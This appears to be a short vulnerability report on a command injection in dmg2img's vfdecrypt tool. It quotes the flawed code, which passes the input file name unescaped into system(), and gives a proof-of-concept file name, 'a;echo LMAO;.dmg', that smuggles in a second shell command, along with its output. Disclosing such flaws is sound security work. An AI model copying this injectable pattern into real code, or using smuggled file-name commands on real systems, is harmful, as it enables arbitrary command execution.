dmg2img vfdecrypt command injection

This:

  if (*cmd && *inFile) {
      sprintf(cmd,
"strings %s | grep '^[0-9a-fA-F]*$' | awk '{ if (length($1) == 72) print; }'",
              inFile);
      system(cmd);
      exit(0);
  }

When running ./vfdecrypt -e -i infile.dmg there is a command injection using the infile filename.

Example:

./vfdecrypt -e -i 'a;echo LMAO;.dmg'
0x1 0x61
strings: 'a': No such file
LMAO
sh: 1: .dmg: not found